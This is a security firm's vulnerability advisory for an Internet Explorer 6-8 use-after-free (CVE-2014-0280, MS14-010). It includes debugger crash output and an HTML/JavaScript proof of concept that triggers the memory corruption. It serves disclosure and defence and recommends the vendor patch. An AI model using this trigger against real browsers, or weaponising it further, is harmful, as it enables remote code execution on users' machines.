security-assessment.com

Vulnerability Advisory

Name	Microsoft Internet Explorer 'SRunPointer' Use-After-Free Vulnerability (MS14-010)
CVE	CVE-2014-0280
Vendor Website	http://www.microsoft.com/
Date Released	11/02/2014
Affected Software	Microsoft Internet Explorer 6 Microsoft Internet Explorer 7 Microsoft Internet Explorer 8
Researchers	Scott Bell

Description

A memory corruption vulnerability was identified in Microsoft Internet Explorer which allows a malicious user to remotely execute arbitrary code on a vulnerable user's machine, in the context of the current user.

Exploitation

Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this are often hosted on legitimate websites which have been compromised by other means.
The following table shows some cursory debug information:

Debugger Output

```
(e8c.910): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0545dfb0 ebx=0336d104 ecx=051d0fa0 edx=0545dfb0 esi=00000000 edi=0336cf58
eip=3d05b150 esp=0336cf54 ebp=0336cfe4 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
mshtml!SRunPointer::RunType+0x1d:
3d05b150 8b00            mov     eax,dword ptr [eax]  ds:0023:0545dfb0=????????
1:018> k
ChildEBP RetAddr
0336cf50 3d05de54 mshtml!SRunPointer::RunType+0x1d
0336cfe4 3d0594fa mshtml!CTextDisplayBox::HandleDisplayRequestForPartialContent+0x65
0336cffc 3d05dd4c mshtml!CDisplayBox::HandleDisplayRequest+0xee
0336d014 3d145d30 mshtml!CDisplayBox::PassDisplayRequestToChildren+0x54
0336d02c 3d05dd4c mshtml!CDisplayBox::HandleDisplayRequest+0xdd
0336d044 3d145d30 mshtml!CDisplayBox::PassDisplayRequestToChildren+0x54
0336d05c 3d059543 mshtml!CDisplayBox::HandleDisplayRequest+0xdd
0336d078 3d145a29 mshtml!CLayoutBlock::SendDisplayRequestForPage+0x88
0336d08c 3d059425 mshtml!CDisplayRequest::SendToPage+0x49
0336d0bc 3d04f146 mshtml!CDisplayRequest::Send+0x149
0336d0d0 3d04f4e8 mshtml!CDisplayRequest::SendForRange+0x33
0336d0f0 3d04f445 mshtml!CDisplayPointer::SendDisplayRequest+0x6f
0336d164 3cef1f8c mshtml!CDisplayPointer::GetLineEnd+0x48
0336d190 3cef1f0e mshtml!CDisplayPointer::IsBetweenLines+0x77
0336d1a8 3cef333e mshtml!CDisplayPointer::IsAtBOL+0x28
0336d1f8 3cef31cb mshtml!CCaretTracker::PositionCaretAt+0x128
0336d228 3cef16b3 mshtml!CCaretTracker::Init2+0x53
0336d244 3cef3066 mshtml!CSelectionManager::SetCurrentTracker+0x26
0336d280 3cef2d4b mshtml!CSelectionManager::CreateTrackerForContext+0x334
0336d2a0 3cef2c8f mshtml!CSelectionManager::SetEditContext+0x8d
0336d314 3cef3b62 mshtml!CSelectionManager::SetEditContextFromElement+0x32d
0336d330 3cef5ae9 mshtml!CSelectionManager::SetInitialEditContext+0x64
0336d348 3cef57a2 mshtml!CSelectionManager::Initialize+0x1d7
0336d36c 3cec0566 mshtml!CHTMLEditor::Initialize+0x168
```

The following HTML proof of concept code can be used to reproduce the vulnerability:

Proof of Concept

```
<!DOCTYPE HTML>
<html lang="ar">
<head>
<script>
function main() {


  setTimeout('try{document.getElementById("zzz").setAttribute("innerHTML",
"\u4141\u4141\u4141\u4141")}catch(e){};', 250)
  setTimeout('document.body.innerHTML = "a"', 500)}


</script>
<style>
body:first-line{background:#20f87a;}
</style>
</head>
<body style="position:absolute;" onload="setTimeout('main()', 500)">
<a style="position:relative">aA0aA0aA0aA0aA0aA0aA0aA0aA0aA0aA0aA0aA0</a>
<div style="float:right;"><p></p></div>
<p>&#2410;&#4781;&#9964;</p>
<object id="zzz" type=aaaa>aaaaaaaa</object>
</body>
</html>
```

Solution

Microsoft validated this security issue and issued a patch (MS14-010) to remedy it.
Security-Assessment.com recommends applying the patch which has been made available via Windows Update.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:

Web www.security-assessment.com
Email info@security-assessment.com